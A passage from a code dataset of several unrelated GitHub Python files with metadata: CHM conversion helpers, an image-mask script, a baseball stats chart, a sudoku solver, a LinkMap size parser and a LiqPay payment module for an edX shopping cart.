message(code=OK, msg=''):\n outfp = sys.stdout\n if code == ERROR:\n outfp = sys.stderr\n if msg:\n print >> outfp, msg\n\ndef file2dir(filename):\n \"\"\"Convert file filename.chm to filename_html directory\"\"\"\n dirname = filename.rsplit('.', 1)[0] + '_' + 'html'\n return dirname\n\ndef output_format(mode):\n if mode == 'text':\n return CHM2TXT\n elif mode == 'html':\n return CHM2HTML\n elif mode == 'pdf':\n return CHM2PDF\n# elif mode == 'ps':\n# return CHM2PS\n else:\n sys.exit('Invalid output file format: %s' % mode)\n\ndef output_file(filename, mode):\n \"\"\"Convert filename.chm to filename.output\"\"\"\n if mode == CHM2TXT:\n file_ext = 'txt'\n elif mode == CHM2HTML:\n file_ext = 'html'\n elif mode == CHM2PDF:\n file_ext = 'pdf'\n# elif mode == CHM2PS:\n# file_ext = 'ps'\n else:\n file_ext = 'output'\n output_filename = filename.rsplit('.', 1)[0] + '.' + file_ext\n return output_filename\n\n# Our own listdir method :)\ndef listdir(dir):\n def f(res, dir, files):\n for e in files:\n d = '/'.join(dir.split('/')[1:])\n if d: d += '/'\n res.append(d + e)\n res = []\n os.path.walk(dir, f, res)\n return res\n","repo_name":"eclipseo/archmage","sub_path":"archmod/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"67"} +{"seq_id":"40904722661","text":"\"\"\"\nThis script (althought not exactly) is called by the freesurfer GUI command- connected_components.\n\nNote: See notes in func_mask_to_cc.py \n\"\"\"\nimport argparse\nimport os\nimport sys\nfrom argparse import ArgumentParser\n\nimport numpy as np\nfrom skimage.io import imread\nfrom skimage.measure import label as bwlabel\n\n\nclass SplitArgs(argparse.Action):\n def __call__(self, parser, namespace, values, option_string=None):\n setattr(namespace, self.dest, self.split(values))\n\n def chunks(self, lst, n):\n \"\"\"Yield successive n-sized chunks from lst.\"\"\"\n for i in range(0, len(lst), n):\n yield lst[i : i + n]\n\n def split(self, s):\n try:\n s = list(map(float, s))\n except:\n s = list(map(float, s[0].split()))\n\n coords = list(self.chunks(s, 4))\n if len(coords[-1]) != 4:\n print(\"Invalid coordinates\")\n sys.exit()\n return coords\n\n\ndef chunkwise(t, size=2):\n it = iter(t)\n return list(zip(*[it] * size))\n\n\ndef file_path(string):\n if os.path.isfile(string):\n return string\n else:\n raise FileNotFoundError(string)\n\n\ndef dir_path(string):\n return string if os.path.isdir(string) else NotADirectoryError(string)\n\n\ndef create_mask(args):\n for idx, rect_coords in enumerate(args.rect_list):\n args.rect_list[idx] = np.array(\n np.array(rect_coords),\n dtype=\"int\",\n )\n\n # Open image\n image = imread(args.current_image)\n\n # Open mask\n mask = imread(args.current_mask, as_gray=True)\n mask = mask > np.max(mask) / 2\n\n # Create connected components\n connected_components = bwlabel(mask)\n\n binary_mask = np.zeros(image.shape[0:2], dtype=\"uint8\")\n\n for idx, rectangle in enumerate(args.rect_list, 1):\n # Find all unique indices of label image inside rectangle (> 0)\n x1, y1, x2, y2 = rectangle\n\n if x1 > x2:\n x1, x2 = x2, x1\n\n if y1 > y2:\n y1, y2 = y2, y1\n\n # create binary mask with all regions of label image wtih such indices\n unique = np.unique(connected_components[y1:y2, x1:x2])\n unique = unique[unique > 0]\n\n for val in unique:\n binary_mask[connected_components == val] = idx\n\n input_path, _ = os.path.splitext(args.current_image)\n _, input_name = os.path.split(input_path)\n out_name = input_name + \"_mask\"\n\n np.save(os.path.join(args.out_dir, out_name), binary_mask)\n\n\nif __name__ == \"__main__\":\n parser = ArgumentParser()\n\n parser.add_argument(\n \"--rectangle_coordinates\",\n nargs=\"+\",\n dest=\"rect_list\",\n action=SplitArgs,\n )\n parser.add_argument(\n \"--in_img\", type=file_path, dest=\"current_image\", default=None\n )\n parser.add_argument(\n \"--in_mask\", type=file_path, dest=\"current_mask\", default=None\n )\n parser.add_argument(\n \"--out_dir\", type=dir_path, dest=\"out_dir\", default=None\n )\n\n # If running the code in debug mode\n gettrace = getattr(sys, \"gettrace\", None)\n\n if gettrace():\n sys.argv = [\n \"func_connected_components.py\",\n \"--rectangle_coordinates\",\n \"431 559 477 602 1131 565 1180 628 1788 572 1841 641\",\n \"--in_img\",\n \"/cluster/vive/MGH_photo_recon/2604_whole/deformed/2604.01_deformed.JPG\",\n \"--in_mask\",\n \"/cluster/vive/MGH_photo_recon/2604_whole/masked/2604.01_deformed_masked.png\",\n \"--out_dir\",\n \"/tmp\",\n ]\n\n args = parser.parse_args()\n\n create_mask(args)\n","repo_name":"MGH-LEMoN/photo-calibration-gui","sub_path":"scripts/func_connected_components.py","file_name":"func_connected_components.py","file_ext":"py","file_size_in_byte":3575,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"32232232597","text":"import json\nimport matplotlib\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\nwith open('altuve2017.json', 'r') as altuve_2017:\n whenhecheat = altuve_2017.read()\nwith open('altuve2020.json', 'r') as altuve_2020:\n whenhenocheat = altuve_2020.read()\ncheat = json.loads(whenhecheat)\nnocheat = json.loads(whenhenocheat)\n\naltuvestats = {}\naltuvestats['BA'] = cheat['avg']\naltuvestats['OBP'] = cheat['obp']\naltuvestats['SLG'] = cheat['slg']\naltuvestats['OPS'] = cheat['obp']\n\naltuvestats1 = {}\naltuvestats1['BA'] = nocheat['avg']\naltuvestats1['OBP'] = nocheat['obp']\naltuvestats1['SLG'] = nocheat['slg']\naltuvestats1['OPS'] = nocheat['obp']\n\nwidth = 0.4\nx = np.arange(len(altuvestats.keys()))\nfig, ax = plt.subplots()\nrects1 = ax.bar(x - width/2, altuvestats.values(), width, label='cheat',color='red')\nrects2 = ax.bar(x + width/2, altuvestats1.values(), width, label='nocheat',color='green')\n\nax.set_xlabel('Hitting Measures')\nax.set_ylabel('Statistics')\nax.set_xticks(x)\nax.set_xticklabels(altuvestats.keys())\nax.legend()\nplt.title(\"Jose Altuve's Hitting Stats - 2017 vs. 2020\")\n\nplt.show()","repo_name":"smccann11/MatplotlibHW","sub_path":"chart1.py","file_name":"chart1.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"67"} +{"seq_id":"22024449319","text":"\"\"\" got it from computerphile video \"\"\"\nimport numpy as np\n\ngrid = [[5, 3, 0, 0, 7, 0, 0, 0, 0],\n [6, 0, 0, 1, 9, 5, 0, 0, 0],\n [0, 9, 8, 0, 0, 0, 0, 6, 0],\n [8, 0, 0, 0, 6, 0, 0, 0, 3],\n [4, 0, 0, 8, 0, 3, 0, 0, 1],\n [7, 0, 0, 0, 2, 0, 0, 0, 6],\n [0, 6, 0, 0, 0, 0, 2, 8, 0],\n [0, 0, 0, 4, 1, 9, 0, 0, 5],\n [0, 0, 0, 0, 8, 0, 0, 7, 9]]\n\n# grid = np.matrix(grid)\n# print(mtx)\n# print(grid)\n\n# for x in range(0,9):\n# for y in range(0,9):\n# print(grid[x][y])\n# print()\n\ndef possible(y, x, n): # determines whether in a certain position we can put a number # helper func\n global grid\n for i in range(0, 9):\n if grid[y][i] == n:\n return False\n for i in range(0, 9):\n if grid[i][x] == n:\n return False\n x0 = (x//3)*3\n y0 = (y//3)*3\n for i in range(0, 3):\n for j in range(0, 3):\n if grid[y0+i][x0+j] == n:\n return False\n return True\n\n# print(possibe(4,4,3))\n# print(possibe(4,4,5))\n\ndef solve():\n global grid\n for y in range(9):\n for x in range(9):\n if grid[y][x] == 0:\n for n in range(1, 10):\n if possible(y, x, n):\n grid[y][x] = n\n solve()\n grid[y][x] = 0 # back tracking\n return\n\n print(np.matrix(grid))\n\n\nsolve()","repo_name":"oguznsari/python-cs","sub_path":"py-sudoku-solver/sudoku.py","file_name":"sudoku.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"69941563735","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# History:\n# 2017-02-17 wesley_chen \n#\n# Usage:\n# 1. LinkMapParse.py (find Link Map file on current dir. Output result on current dir)\n# 2. LinkMapParser.py (Output result on current dir)\n# 3. LinkMapParser.py \n\nimport sys\nimport os\nimport logging\nimport json\nimport codecs\nfrom collections import OrderedDict\nimport argparse\nimport textwrap\n\n# script info\nscript_version = 1.0\nscript_author = 'wesley_chen'\nscript_email = 'wesley4chen@gmail.com'\n\n\n# extract middle part of string excluding `start` and `end` string\ndef extract_string(string, start, end):\n return string[string.index(start) + len(start) : string.index(end)]\n\n\n# http://stackoverflow.com/questions/2553354/how-to-get-a-variable-name-as-a-string-in-python\ndef dump_object(obj):\n for k, v in list(locals().iteritems()):\n if v is obj:\n obj_name = k\n break\n print(str(obj_name) + \": %s\" % obj)\n\n\ndef dict_to_json_file(dict_object, file_path):\n ordered_dict = OrderedDict(sorted(dict_object.items(), key=lambda t: t[0]))\n # logging.warning(\"pod_source_dict is: %s\" % pod_source_dict)\n # logging.warning(\"json is: %s\" % json.dumps(pod_source_dict))\n out_file = open(file_path, \"w\")\n out_file.writelines(json.dumps(ordered_dict))\n out_file.close()\n\nsuffixes = ['B', 'KB', 'MB', 'GB', 'TB', 'PB']\n\n# http://stackoverflow.com/questions/14996453/python-libraries-to-calculate-human-readable-filesize-from-bytes\ndef humansize(nbytes):\n if nbytes == 0: return '0 B'\n i = 0\n while nbytes >= 1024 and i < len(suffixes)-1:\n nbytes /= 1024.\n i += 1\n f = ('%.2f' % nbytes).rstrip('0').rstrip('.')\n return '%s %s' % (f, suffixes[i])\n\n\nclass LibraryModel:\n def __init__(self, name):\n self.name = name\n self.size = None\n self.members = []\n\n def __str__(self):\n return self.name + ', ' + str(self.size) + ', ' + str(self.members)\n\n # def __repr__(self):\n # return self.name + str(self.size) + str(self.members)\n\n\nclass ObjectModel:\n def __init__(self, name, tag):\n self.name = name\n self.tag = tag\n self.size = None\n self.members = []\n\n\nclass SymbolModel:\n def __init__(self, name, tag, size):\n self.name = name\n self.tag = tag\n self.size = size\n\n\ndef main():\n\n parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,\n description=textwrap.dedent('''\n -----------------------------------------\n A script for parsing link map file\n -----------------------------------------\n\n '''),\n epilog='''\n Report bug to <{script_email}>. (Version: {script_version})\n '''.format(**globals()))\n\n # Required positional argument\n parser.add_argument(\"linkmap_path\", metavar=\"path\", type=str,\n help='the path of LinkMap file')\n\n # Optional positional argument\n parser.add_argument('-l', '--level', type=int, nargs=1, choices=range(1, 4), default=2,\n help='''\n the detail level of parsing (default: %(default)s).\n 1: .a files, 2: .o files, 3: symbols''')\n\n parser.add_argument('-f', '--file', type=str, nargs=1,\n help='output to the file at the path')\n\n parser.add_argument('-r', dest=\"readable_size\", action='store_true',\n help='show readable size')\n\n parser.add_argument('--version', action='version', version='%(prog)s {script_version}'.format(**globals()))\n parser.add_argument('-v', '--verbose', action='store_true', help='show verbose information')\n\n args = parser.parse_args()\n\n print(\"Argument values: %s\" % args)\n\n current_dir = os.getcwd()\n output_dict = {}\n library_dict = {}\n\n source_file_path = args.linkmap_path\n target_file_path = os.getcwd()\n if args.file is not None:\n target_file_path = args.file\n\n # http://stackoverflow.com/questions/1592925/decoding-mac-os-text-in-python\n with codecs.open(source_file_path, 'r', 'mac-roman') as f:\n file_content = f.read()\n f.close()\n # Get `arch` part\n arch_part = extract_string(file_content, \"# Arch:\", \"# Object files:\")\n output_dict[\"Arch\"] = arch_part.strip()\n\n # Get `object file` part\n object_files_part = extract_string(file_content, \"# Object files:\\n\", \"\\n# Sections:\")\n object_files_list = object_files_part.splitlines()\n object_files_list = filter(None, object_files_list) # remove all empty items if it's an empty string\n object_files_dict = {} # key: int(oid), value: file_name.o\n object_library_dict = {} # key: xxx.a, value: [yyy.o, zzz.o, ....]\n dump_object(object_files_list)\n for line in object_files_list:\n part_list = line.split(\"]\")\n file_id = part_list[0].strip(\"[ \")\n file_name = os.path.basename(part_list[1]).strip()\n\n if file_name.find(\"(\") != -1:\n object_file_name = file_name.split(\"(\")[1].strip(\")\")\n object_files_dict[int(file_id)] = object_file_name\n\n library_name = file_name.split(\"(\")[0]\n if not library_name.endswith(\".a\"):\n library_name += \".framework\"\n\n if library_name not in library_dict:\n library_dict[library_name] = LibraryModel(library_name)\n\n library_model = library_dict[library_name]\n library_model.members.append(ObjectModel(object_file_name, file_id))\n else:\n object_files_dict[int(file_id)] = file_name\n\n if file_name.endswith(\".o\"):\n if \"main project\" not in library_dict:\n library_dict['main project'] = LibraryModel('main project')\n\n library_model = library_dict['main project']\n library_model.members.append(ObjectModel(file_name, file_id))\n\n dump_object(library_model)\n else:\n library_dict[file_name] = LibraryModel(file_name)\n\n # dump_object(library_dict)\n # dump_object(object_files_dict)\n return\n\n dict_to_json_file(object_files_dict, os.path.join(current_dir, 'object_files_dict.json'))\n dict_to_json_file(object_library_dict, os.path.join(current_dir, 'object_library_dict.json'))\n\n # Get `Symbols` part\n symbol_part = extract_string(file_content, \"# Address\tSize \tFile Name\\n\", \"\\n\\n# Dead Stripped Symbols:\")\n symbol_list = symbol_part.splitlines()\n symbol_list = filter(None, symbol_list) # remove all empty items if it's an empty string\n symbol_object_dict = {}\n for line in symbol_list:\n part_list = line.split(\"\\t\")\n if len(part_list) != 3:\n continue # ignore \\n line\n symbol_size = part_list[1].strip()\n\n subpart_list = part_list[2].split(\"] \")\n symbol_object_id = int(subpart_list[0].strip(\"[ \"))\n symbol_name = subpart_list[1]\n\n object_file_name = object_files_dict[symbol_object_id]\n\n if object_file_name in symbol_object_dict:\n temp_dict = symbol_object_dict[object_file_name]\n if symbol_name in temp_dict:\n temp_size = int(temp_dict[symbol_name])\n temp_size += int(symbol_size, 0)\n temp_dict[symbol_name] = temp_size\n else:\n temp_dict[symbol_name] = int(symbol_size, 0)\n symbol_object_dict[object_file_name] = temp_dict\n else:\n symbol_object_dict[object_file_name] = {symbol_name: int(symbol_size, 0)}\n\n if object_file_name + \".size\" in symbol_object_dict:\n temp_int = symbol_object_dict[object_file_name + \".size\"]\n temp_int += int(symbol_size, 0)\n symbol_object_dict[object_file_name + \".size\"] = temp_int\n else:\n symbol_object_dict[object_file_name + \".size\"] = int(symbol_size, 0)\n\n # dump_object(symbol_size)\n # dump_object(symbol_object_id)\n # dump_object(symbol_name)\n # dump_object(symbol_object_dict)\n dict_to_json_file(symbol_object_dict, os.path.join(current_dir, 'symbol_object_dict.json'))\n\n module_dict = {}\n for library_name in object_library_dict:\n object_list = object_library_dict[library_name]\n\n if len(object_list) != 0:\n library_size = 0\n temp_dict = {}\n for object_file_name in object_list:\n if object_file_name in symbol_object_dict:\n object_size = symbol_object_dict[object_file_name + \".size\"]\n library_size += object_size\n temp_dict[object_file_name] = symbol_object_dict[object_file_name]\n temp_dict[object_file_name + \".size\"] = symbol_object_dict[object_file_name + \".size\"]\n else:\n logging.warning(\"%s not found in symbol_object_dict\" % object_file_name)\n module_dict[library_name] = temp_dict\n else:\n if library_name in symbol_object_dict:\n library_size = symbol_object_dict[library_name + \".size\"]\n module_dict[library_name] = symbol_object_dict[library_name]\n else:\n logging.warning(\"%s not found in symbol_object_dict\" % library_name)\n dump_object(\"%s size: %s\" % (library_name, humansize(library_size)))\n module_dict[library_name + \".size\"] = int(library_size)\n\n output_dict[\"Module\"] = module_dict\n\n # logging.warning(\"output_dict: %s\" % output_dict)\n # dict_to_json_file(output_dict, os.path.join(current_dir, 'size_info.json'))\n\nif __name__ == '__main__':\n sys.exit(main())\n","repo_name":"daydreamboy/HelloPythonScripts","sub_path":"05 - Parse Link Map/LinkMapParser2.py","file_name":"LinkMapParser2.py","file_ext":"py","file_size_in_byte":9731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17738391694","text":"# -*- coding: utf-8 -*-\n\n__author__ = 'olga'\n\n\"\"\"\nImplementation of the LiqPay credit card processor\n CC_PROCESSOR_NAME = \"LiqPay\"\n CC_PROCESSOR = {\n \"LiqPay\": {\n \"public_key\": \"\",\n \"PURCHASE_ENDPOINT\": \"\"\n }\n }\n\"\"\"\nimport hmac\nimport binascii\nimport re\nimport json\nimport uuid\nimport logging\nfrom textwrap import dedent\nfrom datetime import datetime\nfrom collections import OrderedDict, defaultdict\nfrom decimal import Decimal, InvalidOperation\nfrom hashlib import sha1\nfrom django.conf import settings\nfrom django.core.urlresolvers import reverse\nfrom django.utils.translation import ugettext as _\nfrom edxmako.shortcuts import render_to_string\nfrom shoppingcart.models import Order\nfrom shoppingcart.processors.exceptions import *\nfrom shoppingcart.processors.helpers import get_processor_config\nfrom microsite_configuration import microsite\nimport base64\nfrom opaque_keys.edx.locations import SlashSeparatedCourseKey\nfrom courseware.courses import get_course_by_id\n\nlog = logging.getLogger(__name__)\n\n\ndef render_purchase_form_html(cart, callback_url=None, extra_data=None):\n \"\"\"\n Renders the HTML of the hidden POST form that must be used to initiate a purchase with LiqPay\n Args:\n cart (Order): The order model representing items in the user's cart.\n Keyword Args:\n callback_url (unicode): The URL that LiqPay should POST to when the user\n completes a purchase. If not provided, then LiqPay will use\n the URL provided by the administrator of the account\n (LiqPay config, not LMS config).\n extra_data (list): Additional data to include as merchant-defined data fields.\n Returns:\n unicode: The rendered HTML form.\n \"\"\"\n return render_to_string('shoppingcart/liqpay_form.html', {\n 'action': get_purchase_endpoint(),\n 'params': get_signed_purchase_params(\n cart, callback_url=callback_url, extra_data=extra_data\n ),\n })\n\n\ndef data_hash(params):\n string = json.dumps(params)\n return base64.b64encode(string)\n\n\ndef data_unhash(string):\n string = base64.b64decode(string)\n return json.loads(string)\n\n\ndef get_purchase_endpoint():\n \"\"\"\n Return the URL of the payment end-point for LiqPay.\n Returns:\n unicode\n \"\"\"\n return get_processor_config().get('PURCHASE_ENDPOINT', '')\n\n\ndef get_signed_purchase_params(cart, callback_url=None, extra_data=None):\n \"\"\"\n This method will return a digitally signed set of CyberSource parameters\n Args:\n cart (Order): The order model representing items in the user's cart.\n Keyword Args:\n callback_url (unicode): The URL that CyberSource should POST to when the user\n completes a purchase. If not provided, then CyberSource will use\n the URL provided by the administrator of the account\n (CyberSource config, not LMS config).\n extra_data (list): Additional data to include as merchant-defined data fields.\n Returns:\n dict\n \"\"\"\n return sign(get_purchase_params(cart, callback_url=callback_url, extra_data=extra_data))\n\n\ndef sign(params):\n \"\"\"\n Sign the parameters dictionary so LiqPay can validate our identity.\n The params dict should contain a key 'signed_field_names' that is a comma-separated\n list of keys in the dictionary. The order of this list is important!\n Args:\n params (dict): Dictionary of parameters; must include a 'signed_field_names' key\n Returns:\n dict: The same parameters dict, with a 'signature' key calculated from the other values.\n \"\"\"\n json_object = OrderedDict()\n\n json_object['signature'] = processor_hash(data_hash(params))\n json_object['data'] = data_hash(params)\n return json_object\n\n\ndef processor_hash(value):\n \"\"\"\n Calculate the base64-encoded, SHA-1 hash used by LiqPay.\n\n Args:\n value (string): The value to encode.\n\n Returns:\n string\n\n \"\"\"\n secret_key = get_processor_config().get('SECRET_KEY', '')\n return base64.b64encode(sha1(secret_key + value + secret_key).digest())\n\n\ndef get_purchase_params(cart, callback_url=None, extra_data=None):\n \"\"\"\n This method will build out a dictionary of parameters needed by CyberSource to complete the transaction\n Args:\n cart (Order): The order model representing items in the user's cart.\n Keyword Args:\n callback_url (unicode): The URL that CyberSource should POST to when the user\n completes a purchase. If not provided, then CyberSource will use\n the URL provided by the administrator of the account\n (CyberSource config, not LMS config).\n extra_data (list): Additional data to include as merchant-defined data fields.\n Returns:\n dict\n \"\"\"\n site_name = microsite.get_value('SITE_NAME', settings.SITE_NAME)\n total_cost = cart.total_cost\n amount = \"{0:0.2f}\".format(total_cost)\n params = OrderedDict()\n\n params['version'] = 3\n course = get_course_by_id(SlashSeparatedCourseKey.from_deprecated_string(extra_data[0]))\n course_name = course.display_name_with_default\n\n '{base_url}{dashboard}'.format(\n base_url=site_name,\n dashboard=reverse('dashboard'))\n params['description'] = u'Запис на курс \"{course_name}\" ({course_num}) | Номер заказу [{course_id}]'.format(\n course_name=course_name,\n course_num=extra_data[0],\n course_id=cart.id\n )\n\n params['amount'] = amount\n params['currency'] = \"uah\"\n params['orderNumber'] = \"OrderId: {0:d}\".format(cart.id)\n\n params['signed_date_time'] = datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')\n\n params['course_id'] = extra_data[0]\n\n params['course_name'] = course_name\n\n params['public_key'] = get_processor_config().get('PUBLIC_KEY', '')\n params['type'] = 'buy'\n\n params['language'] = 'ru'\n # params['signed_date_time'] = datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')\n\n if callback_url is not None:\n params['server_url'] = callback_url\n\n params['server_url'] = get_processor_config().get('SERVER_URL', 'https://59065b71.ngrok.com/shoppingcart/postpay_callback/')\n params['result_url'] = '{base_url}{dashboard}'.format(\n base_url=site_name,\n dashboard=reverse('dashboard'))\n if get_processor_config().get('SANDBOX') or course_name == \"sandbox\":\n params['sandbox'] = 1\n\n if callback_url is not None:\n params['override_custom_receipt_page'] = callback_url\n params['override_custom_cancel_page'] = callback_url\n\n if extra_data is not None:\n # LiqPay allows us to send additional data in \"merchant defined data\" fields\n for num, item in enumerate(extra_data, start=1):\n key = u\"merchant_defined_data{num}\".format(num=num)\n params[key] = item\n\n return params\n\n\ndef process_postpay_callback(params):\n \"\"\"\n Handle a response from the payment processor.\n Concrete implementations should:\n 1) Verify the parameters and determine if the payment was successful.\n 2) If successful, mark the order as purchased and call `purchased_callbacks` of the cart items.\n 3) If unsuccessful, try to figure out why and generate a helpful error message.\n 4) Return a dictionary of the form:\n {'success': bool, 'order': Order, 'error_html': str}\n Args:\n params (dict): Dictionary of parameters received from the payment processor.\n Keyword Args:\n Can be used to provide additional information to concrete implementations.\n Returns:\n dict\n \"\"\"\n try:\n valid_params = verify_signatures(params)\n order_id_group = re.search('(?<=\\[)\\d+', valid_params['description'])\n course_name_group = re.search(r'\\\"(.+?)\\\"', valid_params['description'])\n order_id = order_id_group.group(0)\n course_name = course_name_group.group(0)\n\n result = _payment_accepted(\n order_id,\n valid_params['amount'],\n valid_params['currency'],\n valid_params['status']\n )\n if result['accepted']:\n _record_purchase(params, result['order'], course_name)\n return {\n 'success': True,\n 'order': result['order'],\n 'error_html': ''\n }\n else:\n _record_payment_info(params, result['order'])\n return {\n 'success': False,\n 'order': result['order'],\n 'error_html': _get_processor_decline_html(params)\n }\n except CCProcessorException as error:\n log.exception('error processing LiqPay postpay callback')\n # if we have the order and the id, log it\n if hasattr(error, 'order'):\n _record_payment_info(params, error.order)\n else:\n log.info(json.dumps(data_unhash(params.get('data'))))\n return {\n 'success': False,\n 'order': None, # due to exception we may not have the order\n 'error_html': _get_processor_exception_html(error)\n }\n\n\ndef _record_payment_info(params, order):\n \"\"\"\n Record the purchase and run purchased_callbacks\n Args:\n params (dict): The parameters we received from LiqPay.\n Returns:\n None\n \"\"\"\n order.processor_reply_dump = json.dumps(data_unhash(params.get('data')))\n order.save()\n\n\ndef _record_purchase(params, order, course_name):\n \"\"\"\n Record the purchase and run purchased_callbacks\n Args:\n params (dict): The parameters we received from LiqPay.\n order (Order): The order associated with this payment.\n Returns:\n None\n \"\"\"\n # Usually, the credit card number will have the form \"xxxxxxxx1234\"\n # Parse the string to retrieve the digits.\n # If we can't find any digits, use placeholder values instead.\n json_data = data_unhash(params.get('data'))\n\n ccnum_str = json_data.get('req_card_number', '')\n mm = re.search(\"\\d\", ccnum_str)\n if mm:\n ccnum = ccnum_str[mm.start():]\n else:\n ccnum = \"####\"\n\n # Mark the order as purchased and store the billing information\n order.purchase(\n first=json_data.get('req_bill_to_forename', ''),\n last=json_data.get('req_bill_to_surname', ''),\n street1=json_data.get('req_bill_to_address_line1', ''),\n street2=json_data.get('req_bill_to_address_line2', ''),\n city=json_data.get('req_bill_to_address_city', ''),\n state=json_data.get('req_bill_to_address_state', ''),\n country=json_data.get('req_bill_to_address_country', ''),\n postalcode=json_data.get('req_bill_to_address_postal_code', ''),\n ccnum=ccnum,\n cardtype=CARDTYPE_MAP[json_data.get('req_card_type', '')],\n course_name=course_name\n )\n\n\ndef _payment_accepted(order_id, auth_amount, currency, decision):\n \"\"\"\n Check that LiqPay has accepted the payment.\n Args:\n order_num (int): The ID of the order associated with this payment.\n auth_amount (Decimal): The amount the user paid using LiqPay.\n currency (str): The currency code of the payment.\n decision (str): \"ACCEPT\" if the payment was accepted.\n Returns:\n dictionary of the form:\n {\n 'accepted': bool,\n 'amnt_charged': int,\n 'currency': string,\n 'order': Order\n }\n Raises:\n CCProcessorDataException: The order does not exist.\n CCProcessorWrongAmountException: The user did not pay the correct amount.\n \"\"\"\n try:\n order = Order.objects.get(id=order_id)\n except Order.DoesNotExist:\n raise CCProcessorDataException(_(\"The payment processor accepted an order whose number is not in our system.\"))\n\n if decision == 'success' or decision == 'sandbox':\n return {\n 'accepted': True,\n 'amt_charged': auth_amount,\n 'currency': currency,\n 'order': order\n }\n else:\n return {\n 'accepted': False,\n 'amt_charged': 0,\n 'currency': 'usd',\n 'order': order\n }\n\n\ndef _get_processor_decline_html(params):\n \"\"\"\n Return HTML indicating that the user's payment was declined.\n\n Args:\n params (dict): Parameters we received from CyberSource.\n\n Returns:\n unicode: The rendered HTML.\n\n \"\"\"\n payment_support_email = microsite.get_value('payment_support_email', settings.PAYMENT_SUPPORT_EMAIL)\n return _format_error_html(\n _(\n \"Sorry! Our payment processor did not accept your payment. \"\n \"The decision they returned was {decision}, \"\n \"and the reason was {reason}. \"\n \"You were not charged. Please try a different form of payment. \"\n \"Contact us with payment-related questions at {email}.\"\n ).format(\n decision='{decision}'.format(decision=params['decision']),\n reason='{reason_code}:{reason_msg}'.format(\n reason_code=params['reason_code'],\n reason_msg='error occurred'\n ),\n email=payment_support_email\n )\n )\n\n\ndef verify_signatures(params):\n \"\"\"\n Use the signature we receive in the POST back from LiqPay to verify\n the identity of the sender (LiqPay) and that the contents of the message\n have not been tampered with.\n Args:\n params (dictionary): The POST parameters we received from LiqPay.\n Returns:\n dict: Contains the parameters we will use elsewhere, converted to the\n appropriate types\n Raises:\n CCProcessorSignatureException: The calculated signature does not match\n the signature we received.\n CCProcessorDataException: The parameters we received from CyberSource were not valid\n (missing keys, wrong types)\n \"\"\"\n data = params.get('data')\n json_data = data_unhash(data)\n # First see if the user cancelled the transaction\n # if so, then not all parameters will be passed back so we can't yet verify signatures\n if json_data.get('status') == u'failure':\n raise CCProcessorUserCancelled()\n\n # Validate the signature to ensure that the message is from CyberSource\n # and has not been tampered with.\n signature = params.get('signature')\n if signature != processor_hash(data):\n raise CCProcessorSignatureException()\n\n # Validate that we have the paramters we expect and can convert them\n # to the appropriate types.\n # Usually validating the signature is sufficient to validate that these\n # fields exist, but since we're relying on CyberSource to tell us\n # which fields they included in the signature, we need to be careful.\n valid_params = {}\n required_params = [\n ('description', unicode),\n ('currency', str),\n ('status', str),\n ('amount', Decimal),\n ]\n for key, key_type in required_params:\n if key not in json_data:\n raise CCProcessorDataException(\n _(\n u\"The payment processor did not return a required parameter: {parameter}\"\n ).format(parameter=key)\n )\n try:\n valid_params[key] = key_type(json_data[key])\n except (ValueError, TypeError, InvalidOperation):\n raise CCProcessorDataException(\n _(\n u\"The payment processor returned a badly-typed value {value} for parameter {parameter}.\"\n ).format(value=json_data[key], parameter=key)\n )\n\n return valid_params\n\n\ndef _get_processor_exception_html(exception):\n \"\"\"\n Return HTML indicating that an error occurred.\n\n Args:\n exception (CCProcessorException): The exception that occurred.\n\n Returns:\n unicode: The rendered HTML.\n\n \"\"\"\n payment_support_email = microsite.get_value('payment_support_email', settings.PAYMENT_SUPPORT_EMAIL)\n if isinstance(exception, CCProcessorDataException):\n return _format_error_html(\n _(\n u\"Sorry! Our payment processor sent us back a payment confirmation that had inconsistent data! \"\n u\"We apologize that we cannot verify whether the charge went through and take further action on your order. \"\n u\"The specific error message is: {msg} \"\n u\"Your credit card may possibly have been charged. Contact us with payment-specific questions at {email}.\"\n ).format(\n msg=u'{msg}'.format(msg=exception.message),\n email=payment_support_email\n )\n )\n elif isinstance(exception, CCProcessorWrongAmountException):\n return _format_error_html(\n _(\n u\"Sorry! Due to an error your purchase was charged for a different amount than the order total! \"\n u\"The specific error message is: {msg}. \"\n u\"Your credit card has probably been charged. Contact us with payment-specific questions at {email}.\"\n ).format(\n msg=u'{msg}'.format(msg=exception.message),\n email=payment_support_email\n )\n )\n elif isinstance(exception, CCProcessorSignatureException):\n return _format_error_html(\n _(\n u\"Sorry! Our payment processor sent us back a corrupted message regarding your charge, so we are \"\n u\"unable to validate that the message actually came from the payment processor. \"\n u\"The specific error message is: {msg}. \"\n u\"We apologize that we cannot verify whether the charge went through and take further action on your order. \"\n u\"Your credit card may possibly have been charged. Contact us with payment-specific questions at {email}.\"\n ).format(\n msg=u'{msg}'.format(msg=exception.message),\n email=payment_support_email\n )\n )\n elif isinstance(exception, CCProcessorUserCancelled):\n return _format_error_html(\n _(\n u\"Sorry! Our payment processor sent us back a message saying that you have cancelled this transaction. \"\n u\"The items in your shopping cart will exist for future purchase. \"\n u\"If you feel that this is in error, please contact us with payment-specific questions at {email}.\"\n ).format(\n email=payment_support_email\n )\n )\n elif isinstance(exception, CCProcessorUserDeclined):\n return _format_error_html(\n _(\n u\"We're sorry, but this payment was declined. The items in your shopping cart have been saved. \"\n u\"If you have any questions about this transaction, please contact us at {email}.\"\n ).format(\n email=payment_support_email\n )\n )\n else:\n return _format_error_html(\n _(\n u\"Sorry! Your payment could not be processed because an unexpected exception occurred. \"\n u\"Please contact us at {email} for assistance.\"\n ).format(email=payment_support_email)\n )\n\n\ndef 